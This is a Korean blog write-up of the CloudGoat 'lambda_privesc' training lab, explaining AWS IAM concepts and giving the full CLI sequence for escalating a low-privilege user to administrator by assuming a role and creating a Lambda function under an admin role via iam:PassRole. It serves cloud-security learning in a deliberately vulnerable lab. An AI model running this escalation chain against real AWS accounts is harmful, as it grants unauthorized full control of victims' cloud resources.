2024/CloudGoat

[CloudGoat] lambda_privesc

roeeyx 2026. 7. 24. 15:52

시나리오 리소스

1 IAM User

2 IAM Roles

 

시나리오 목표

full admin 권한 (관리자 권한 얻기)

 

시나리오 세팅

~/cloudgoat$ ./cloudgoat.py create lambda_privesc

 

시나리오 과정

  1. IAM User Chris로 시작
  2. AssumeRole 확인
  3. lambdaManager role 확인 
  4. lambdaManager role에 Assume Role 부여하기 
  5. lambda 함수 생성 
  6. Chris의 정책 확인 

IAM(Identity and Access Management)

(1) 사용자(User): 사용자가 IAM에서 생성 및 액세스 AWS 리소스에 필요한 권한을 부여할 수 있음 

(2) 그룹(Group): 사용자를 그룹에 추가할 수 있음

(3) 정책(Policy): 사용자 또는 그룹에 대한 권한을 정의하는 JSON 문서 

(4) 역할(Roles): 사용자에게 AWS 서비스에 액세스 할 수 있는 임시 권한을 부여하는 데 사용 

 

IAM 정책 (Policy)

자격 증명 기반 정책 (Identity-Based Policy)

연결 대상이 자격 증명 주체(User, Group, Role)

IAM 메뉴 정책 리스트에 나오는 정책은 모두 자격 증명 기반 정책임 

  • AWS 관리형 정책(AWS Managed Policy) : AWS에서 기본으로 제공하는 정책 (정책 스스로 정책 이름이 포함된 Amazon 리소스 이름(ARN)을 가지고 있음)
  • AWS 고객 관리형 정책(AWS Customer Managed Policy) : 사용자가 직접 만들어서 사용하는 정책
  • AWS 인라인 정책(AWS Inline Policy) : 단일 사용자, 그룹, 역할(Role)에 직접 추가하는 것

IAM Role에 인라인으로 선언되었으면 인라인 정책

인라인 정책은 하나의 사용자에게 하나의 정책을 적용하는 것 

 

리소스 기반 정책 (Resource-Based Policy)

연결 대상이 리소스, ex) S3 버킷 정책

리소스 기반 정책은 AWS 서비스 리소스에 적용하는 정책 


1. IAM User Chris로 시작 

(1) ~/cloudgoat$ cd lambda_privesc_[ ]

  • 시나리오 생성 후 생성된 시나리오 디렉터리(lambda_privesc_[ ])로 이동

(2) ~/cloudgoat/lambda_privesc_[ ]$ cat start.txt

cloudgoat_output_aws_account_id = 
cloudgoat_output_chris_access_key_id =
cloudgoat_output_chris_secret_key =
  • start.txt를 읽어주면 access key와 secret key 정보를 알 수 있음

(3) ~/cloudgoat/lambda_privesc_[ ]$ aws configure --profile chris

  • chris 프로필 등록 

 

2. AssumeRole 확인

(1) ~/cloudgoat/lambda_privesc_[ ]$ aws iam get-user --profile chris

{
    "User": {
        "Path": "/",
        "UserName": "chris-lambda_privesc_[ ]",
        "UserId": " ",
        "Arn": "arn:aws:iam: : :user/chris-lambda_privesc_[ ]",
        "CreateDate": "2024-11-00"
     }
 }
  • get-user는 지정된 사용자의 정보를 가져오는 명령

Arn(Amazon Resource Name)

리소스를 고유하게 식별하기 위한 구조 

 

(2) ~/cloudgoat/lambda_privesc_[ ]$ aws iam list-attached-user-policies --user-name chris-lambda_privesc_[ ] --profile chris

{
   "AttachedPolicies": [
	   {
	      "PolicyName": "cg-chris-policy-lambda_privesc_[ ]",
		   "PolicyArn": "arn:aws:iam: : :policy/cg-chris-policy-lambda_privesc_[ ]"
	   }
   ]
}
  • list-attached-user-policies는 지정된 사용자에게 연결된 모든 관리형 정책을 출력하는 명령

(3) ~/cloudgoat/lambda_privesc_[ ]$ aws iam list-policy-versions --policy-arn [PolicyArn] --profile chris

{
 "Versions": [
		{
			"VersionId": "v1",
			"IsDefaultVersion": true,
			"CreateDate": "2024-11-00"
		}
	]
}
  • list-policy-versions는 지정된 관리형 정책의 버전에 대한 정보를 출력하는 명령
  • 이 경우는 policy version 이 한 개만 있는 경우임

(4) ~/cloudgoat/lambda_privesc_[ ]$ aws iam get-policy-version --policy-arn [PolicyArn] --version-id v1 --profile chris

{
  "PolicyVersion": {
     "Document": {
	    "Statement": [
		   {
		       "Action": [
				    "sts:AssumeRole",
			        "iam:List*",
					"iam:Get*"
				    ],
				    "Effect": "Allow",
					"Resource": "*",
					"Sid": "chris"
			}
		],
		"Version": "2012-10-17"
	},
	"VersionId": "v1",
	"IsDefaultVersion": true,
	"CreateDate": "2024-11-00"
  }
}
  • --version-id v1 이 붙으면 정책 버전 v1에 대한 정보를 출력함
  • 사용자도 제한되어있고 실행 가능한 동작들이 제한 되어 있음
  • Sid는 chris로 현재 사용자에 대한 policy인 것을 알 수 있고 sts:AssumeRole을 확인 할 수 있음

Assume Role

AWS IAM에서 Assume Role을 사용하면 IAM 사용자 또는 AWS 외부 자격 증명으로 다른 AWS 계정 또는 리소스에 액세스 할 수 있음

AWS Resource에 접근할 수 있도록 일시적으로 보안 자격을 주는 API

 

3. lambdaManager role 확인

(1) ~/cloudgoat/lambda_privesc_[ ]$ aws iam list-roles --profile chris

{
	"Roles": [
		{
			"Path": "/",
			"Rolename": "cg-debug-role-lambda_privesc_[ ]",
			"RoleId": " ",
			"Arn": "arn:aws:iam: : :role/cg-debug-role-lambda_privesc_[ ]",
			"CreateDate": "2024-11-00",
			"AssumeRolePolicyDocument": {
				"Version": "2012-10-17",
				"Statement": [
					{
						"Sid": "",
						"Effect": "Allow",
						"Principal": {
							"Service": "lambda.amazonaws.com"
						 },
						 "Action": "sts:AssumeRole"
					 }
				]
			],
			"Description": "CloudGoat debug role",
			"MaxSessionDuration": 3600
		},
				
		{
			"Path": "/",
			"Rolename": "cg-lambdaManager-role-lambda_privesc_[ ]",
			//생략
			"AssumeRolePolicyDocument": {
				"Version": "2012-10-17",
				"Statement": [
					{
						"Sid": "",
						"Effect": "Allow",
						"Principal": {
							"AWS": "arn:aws:iam: : :user/chris-lambda_privesc_[ ]"
						 },
						 "Action": "sts:AssumeRole"
					 }
				]
			],
			"Description": "CloudGoat Lambda manager role",
			"MaxSessionDuration": 3600
		},
  • list-roles은 현재 계정에서 가지게 되는 IAM 역할을 출력하는 명령
  • Sid(사용자 고유 ID) 값이 “” 인 것은 현재 사용자를 가리킴
  • chris의 역할은 “cg-debug-role” 과 “cg-lambdaManager-role”
  • 다른 Role도 있지만 cg로 시작하는 role만 봄

(2) ~/cloudgoat/lambda_privesc_[ ]$ aws iam list-attached-role-policies --role-name cg-debug-role-lambda_privesc_[ ] --profile chris

{
  "AttachedPolicies": [
	 {
		"PolicyName": "AdministratorAccess",
		"PolicyArn": "arn:aws:iam: :aws:policy/AdminstratorAccess"
	 }
  ]
}
  • list-attached-role-policies --role-name 은 지정된 IAM 역할에 연결된 모든 관리형 정책을 출력
  • debug role의 정책을 확인하면 AdministratorAccess 인 것을 확인 할 수 있음

(3) ~/cloudgoat/lambda_privesc_[ ]$ aws iam list-attached-role-policies --role-name cg-debug-role-policies --role-name cg-lambdaManager-role-lambda_privesc_[ ] --profile chris

{
	"AttachedPolicies": [
		{
			"PolicyName": "cg-lambdaManager-policy-lambda_privesc_[ ]",
			"PolicyArn": "arn:aws:iam: : :policy/cg-lambdaManager-policy-lamabda_privesc_[ ]"
		}
	]
}
  • lambdaManager role의 정책을 확인하면 많은 내용이 나오지 않음, 더 봐야함

(4) ~/cloudgoat/lambda_privesc_[ ]$ aws iam get-policy-version --policy-arn [PolicyArn] --version-id v1 --profile chris

{
	"PolicyVersion": {
		"Document": {
			"Statement": [
				{
					"Action": [
						"lambda:*",
						"iam:PassRole"
					],
					"Effect": "Allow",
					"Resource": "*",
					"Sid": "lambdaManager"
				}
			],
			"Version": "2012-10-17"
		},
		"VersionId": "v1",
		"IsDefaultVersion": true,
		"CreateDate": "2024-11-00"
    }
}
  • lambdaManager role은 “iam:PassRole”을 실행할 수 있는 권한을 갖고 있음
  • PassRole은 lambda에 대해 create와 invoke 기능을 실행할 수 있음

→ 정리하면 debug role은 AdministratorAccess을 가지고 lambdaManager role은 lambda에 대한 action이 가능함

→ lambda 함수의 실행 역할을 debug role로 지정해야 lambda 함수가 AdministratorAccess를 가짐

→ chris가 lambdaManager Role을 이용해 lambda 함수를 생성하고 호출하면 최종적으로 chris가 administratorAccess 권한을 가지게 됨

 

4. lambdaManager role 에 Assume Role 부여하기 

(1) ~/cloudgoat/lambda_privesc_[ ]$ aws sts assume-role --role-arn [lambdaManager role의 PolicyArn] --role-session-name lambdaManager --profile chris

{
	"Credentials": {
		"AccessKeyId": " ",
		"SecretAccessKey": " ",
		"SessionToken": " ",
		"Expiration": " "
	}
	"AssumeRoleUser": {
		"AssumeRoleId": "...:lambdaManager",
		"Arn": "arn:aws:sts: : :assumed-role/cg-lambdaManager-role-lambda_privesc_[ ]/lambdaManager"
	}
}
  • lambdaManager role에 일시적으로 관리자 권한만이 접근할 수 있는 리소스에 접근할 수 있게 하는 Assume role을 부여함
  • Credentials은 자격 증명 파일

(2) ~/cloudgoat/lambda_privesc_[ ]$ vi ~/ .aws/credentials

[lambdaManager]
aws_access_key_id = 
aws_secret_access_key =
aws_session_token =
  • credentials 자격 증명 파일에 lambdaManager 프로필을 등록
  • 위에서 얻은 AccessKeyId, SecretAccessKey, SessionToken 값을 ~/.aws/credentials에 추가함

 

5. lambda 함수 생성

(1) ~/cloudgoat/lambda_privesc_[ ]$ vi lambda_function.py

import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
   
    response = client.attach_user_policy(
        UserName='chris-lambda_privesc_[ ]',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return response
  • AdministratorAccess 정책을 가진 role을 찾고 사용자에게 해당 권한을 부여하는 함수 작성
  • chris의 policy를 변경함

(2) ~/cloudgoat/lambda_privesc_[ ]$ zip lambda_function.py.zip lambda_function.py

  • zip 명령어로 lambda_function.py.zip으로 압축

(3) ~/cloudgoat/lambda_privesc_[ ]$ aws lambda create-function --function-name admin_function --runtime python3.12 --role [debug role의 Arn] --handler lambda_function.lambda_handler --zip-file fileb://lambda_function.py.zip --profile lambdaManager --region ap-northeast-2

{
	"FuntionName": "admin_funtion",
	"FuntionArn": "arn:aws:lambda:ap-northeast-2: :function:admin_funtion",
	"Runtime": "python3.12",
	"Role": "arn:aws:iam: :role/cg-debug-role-lambda_privesc_[ ]",
	"Handler": "lambda_function.lambda_handler",
	//생략
	"State": "Active",
	"LastUpdateStatus": "Successful",
	"PackageType": "Zip"
}
  • lambda 함수를 생성함
  • function name은 지정하면 되고 runtime은 python 버전에 맞게 지정함
  • role은 lambda에 연결할 role의 Arn을 적으면 되는데 lambda 함수의 실행 역할을 debug role로 지정해야 하므로 debug role의 Arn을 지정해야함
  • region은 생략가능

(4) ~/cloudgoat/lambda_privesc_[ ]$ aws lambda invoke --function-name admin_function out.txt --profile lambdaManager --region ap-northeast-2

{
	"StatusCode": 200,
	"ExeCutedVersion": "$LATEST"
}

 

  • lambda invoke는 lambda 함수를 호출하는 것
  • StatusCode가 200이 나오면 정상적으로 진행되고 있는 것
  • out.txt는 실행 로그를 남길 파일명임, 생략 가능

 

6. Chris의 정책 확인

~/cloudgoat/lambda_privesc_[ ]$ list-attached-user-policies --user-name chris-lambda_privesc_[ ] --profile chris

{
	"AttachedPolicies": [
		{
			"PolicyName": "AdministratorAccess",
			"PolicyArn": "arn:aws:iam: :aws:policy/AdministratorAccess"
		},
		{
			"PolicyName": "cg-chris-policy-lambda_privesc_[ ]",
			"PolicyArn": "arn:aws:iam: : :policy/cg-chris-policy-lambda_privesc_[ ]"
		}
	]
}
  • chris의 policy에 관리자 권한이 포함된 것을 확인할 수 있음

 

https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/cloudgoat/scenarios/aws/lambda_privesc

 

cloudgoat/cloudgoat/scenarios/aws/lambda_privesc at master · RhinoSecurityLabs/cloudgoat

CloudGoat is Rhino Security Labs' "Vulnerable by Design" AWS deployment tool - RhinoSecurityLabs/cloudgoat

github.com

 

'2024 > CloudGoat' 카테고리의 다른 글

[CloudGoat] cloud_breach_s3  (0) 2026.07.24